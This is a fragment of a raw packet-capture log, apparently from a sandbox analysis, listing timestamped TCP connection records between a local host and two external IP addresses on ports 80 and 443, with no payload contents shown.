Nov 22, 2024 14:43:57.944447994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.944478989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.944503069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.945525885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.945544958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.945593119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.946686983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.946744919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.946954012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.947056055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.947797060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.947876930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.948165894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.948227882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.948947906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.949009895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.949009895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.949057102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.950104952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.950124979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.950159073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.950172901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.951253891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.951273918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.951302052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.951324940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.952351093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.952542067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.953519106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.953558922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.954613924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.954895020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.955775023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.955797911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.956913948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.957123995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.957458973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.957623959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.958087921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.958101034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.958132029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.958144903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.959172964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.959249020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.959270000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.959359884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.960442066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.960460901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.960489035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.960510015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.961448908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.961503983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.962373018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.962433100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.962588072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.962600946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.962651968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.963669062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.963721991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.964864969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.964878082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.964890003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.964920044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.964955091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.965980053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.966059923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.966181040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.966233969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.967148066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.967161894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.967210054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.967223883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.968293905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.968307018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.968359947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.968386889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.969372034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.969425917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.970172882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.970237017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.970556974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.970568895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.970614910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.971647978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.971699953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.971757889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.971801996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.972732067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.972800016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.972991943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.973452091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.973927975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.974242926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.974402905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.975025892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.975092888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.975164890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.975202084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.976212025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.976224899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.976264954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.976278067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.977401018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.977413893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.977464914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.978482962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.978611946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.979180098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.979227066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.979715109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.979727983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.979763985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.979796886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.980737925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.980806112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.981259108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.981503010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.981837988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.982248068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.982311010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.983009100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.983021975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.983093977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.984132051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.984195948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.984683037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.984739065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.985284090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.985419989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.985457897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.985675097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.986392975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.986592054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.986649990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.987528086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.987595081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.987781048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.988200903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.988676071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.988719940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.988763094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.989803076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.989928961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.989986897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.990947962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.990963936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.991025925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.991046906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.991998911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.992070913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.002355099 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.003063917 CET	49897	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.003092051 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.003779888 CET	49897	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.003786087 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.127559900 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.128109932 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.128174067 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.128681898 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.128695011 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.133860111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.133997917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.134035110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.134093046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.134459019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.134469986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.134530067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.135569096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.135631084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.135710001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.135807037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.136707067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.136842966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.136904955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.137825012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.137886047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.138046980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.138114929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.139002085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.139085054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.139144897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.140171051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.140233040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.140261889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.140419960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.141288042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.141345978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.141406059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.141448975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.142385006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.142441034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.142489910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.142658949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.143497944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.143554926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.143610954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.143656015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.144665003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.144712925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.144834995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.144880056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.145808935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.145888090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.146028042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.146914959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.147034883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.147113085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.148062944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.148175955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.148178101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.148341894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.149192095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.149255037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.149370909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.149420023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.150382996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.150439024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.150454998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.150496006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.151510000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.151541948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.151566029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.151578903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.152640104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.152674913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.152734995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.153779984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.153918028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.153974056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.154865980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.155034065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.155045986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.155230045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.155997038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.156055927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.156091928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.156323910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.157119036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.157174110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.157227993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.157272100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.158272028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.158309937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.158324957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.158340931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.159437895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.159796000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.159858942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.160584927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.160633087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.160643101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.160716057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.161647081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.161715031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.161792040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.161905050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.162827015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.162887096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.162914038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.163577080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.164001942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.164058924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.164088964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.164232969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.165061951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.165199995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.165271044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.166239023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.166280031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.166357040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.167356968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.167423964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.167498112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.167608023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.168467045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.168534040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.168585062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.168824911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.169806957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.169863939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.169888020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.169930935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.170782089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.170838118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.170861959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.171045065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.171885014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.172013998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.172070980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.173028946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.173080921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.173121929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.173223019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.174154043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.174295902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.174325943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.174355984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.175271988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.175338030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.175395012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.175441027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.176407099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.176462889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.176599026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.176650047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.177583933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.177639008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.177659035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.177702904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.178744078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.178778887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.178802967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.178824902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.179856062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.179868937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.179924011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.180963039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.181082010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.181138992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.182231903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.182288885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.182492971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.182684898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.183216095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.183348894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.183350086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.183403969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.184346914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.184484005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.184542894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.185517073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.185568094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.185625076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.185770988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.186628103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.186683893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.186738014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.186794996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.187927961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.188044071 CET	80	49819	185.215.113.206	192.168.2.6
